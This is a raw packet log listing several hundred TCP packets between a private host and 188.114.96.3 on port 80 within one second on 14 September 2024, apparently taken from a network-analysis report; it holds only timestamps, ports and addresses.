Sep 14, 2024 18:44:30.268059015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268068075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268074036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268089056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268091917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268105030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268119097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268132925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268141985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268146992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268152952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268171072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268179893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268186092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268201113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268214941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268215895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268232107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268245935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268260002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268274069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268285036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268289089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268296957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268307924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268312931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268332958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268346071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268349886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268364906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268381119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268389940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268395901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268404007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268419027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268421888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268426895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268443108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268450975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268455982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268471956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268482924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268487930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268495083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268510103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268523932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268527985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268539906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268554926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268558025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268569946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268584967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268587112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268600941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268616915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268625975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268631935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268647909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268655062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268665075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268677950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268687963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268692017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268707991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268714905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268723011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268738985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268745899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268754005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268769026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268783092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268784046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268799067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268802881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268815041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268831015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268836975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268846035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268861055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268865108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268876076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268892050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268901110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268907070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268922091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268924952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268937111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268953085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268959045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268968105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268984079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268987894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269000053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269013882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269022942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269027948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269043922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269051075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269058943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269073963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269079924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269088030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269104004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269107103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269125938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269140005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269140959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269156933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269171953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269186020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269201040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269215107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269222021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269222975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269229889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269244909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269258976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269268036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269268036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269275904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269292116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269304991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269318104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269320011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269325972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269335985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269351006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269359112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269364119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269380093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269396067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269408941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269416094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269423962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269427061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269439936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269443989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269454956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269471884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269475937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269486904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269501925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269514084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269516945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269536018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269536972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269552946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269567013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269577980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269582033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269598961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269603014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269613981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269628048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269634962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269644022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269660950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269665956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269682884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269690037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269706011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269711971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269721985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269737959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269740105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269752979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269756079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269768953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269782066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269783020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269798994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269813061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269823074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269828081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269841909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269848108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269857883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269872904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269877911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269889116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269902945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269905090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269920111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269932985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269932985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269948959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269963980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.269964933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269980907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269994974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.269995928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270010948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270025015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270026922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270040989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270056009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270056963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270071030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270085096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270087004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270101070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270114899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270116091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270131111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270144939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270145893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270160913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270174980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270184994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270204067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270220995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270221949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270239115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270252943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270253897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270270109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270284891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270287037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270303011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270318031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270328045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270333052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270349026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270353079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270380974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270509958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270524979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270539999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270554066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270560980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270567894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270581961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270586014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270598888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270616055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270621061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270631075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270637989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270644903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270652056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270658970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270665884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270679951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270688057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270708084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270709038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270726919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270733118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270741940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270757914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270766973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270771980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270788908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270792007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270802975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270816088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270823002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270833969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270838022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270848989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270853043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270869017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270875931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270884037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270899057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270908117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270912886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270927906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270932913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270945072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270958900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270967007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.270975113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270989895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.270992994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271004915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271019936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271028042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271035910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271050930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271056890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271066904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271083117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271090031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271097898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271119118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271356106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271372080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271397114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271397114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271411896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271426916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271435022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271441936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271456003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271461010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271471977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271493912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271558046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271573067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271585941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271599054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271599054 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271615028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271625042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271630049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271645069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.271653891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.271682978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.276525974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.276547909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.276565075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.276603937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.298942089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.298995972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.299029112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.299057961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.299061060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.299094915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.299097061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.299129963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.299139977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.299164057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.299196959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.299199104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.330955982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.330972910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.330988884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331012011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331026077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331043959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331058979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331111908 CEST	80	54891	188.114.96.3	192.168.2.7
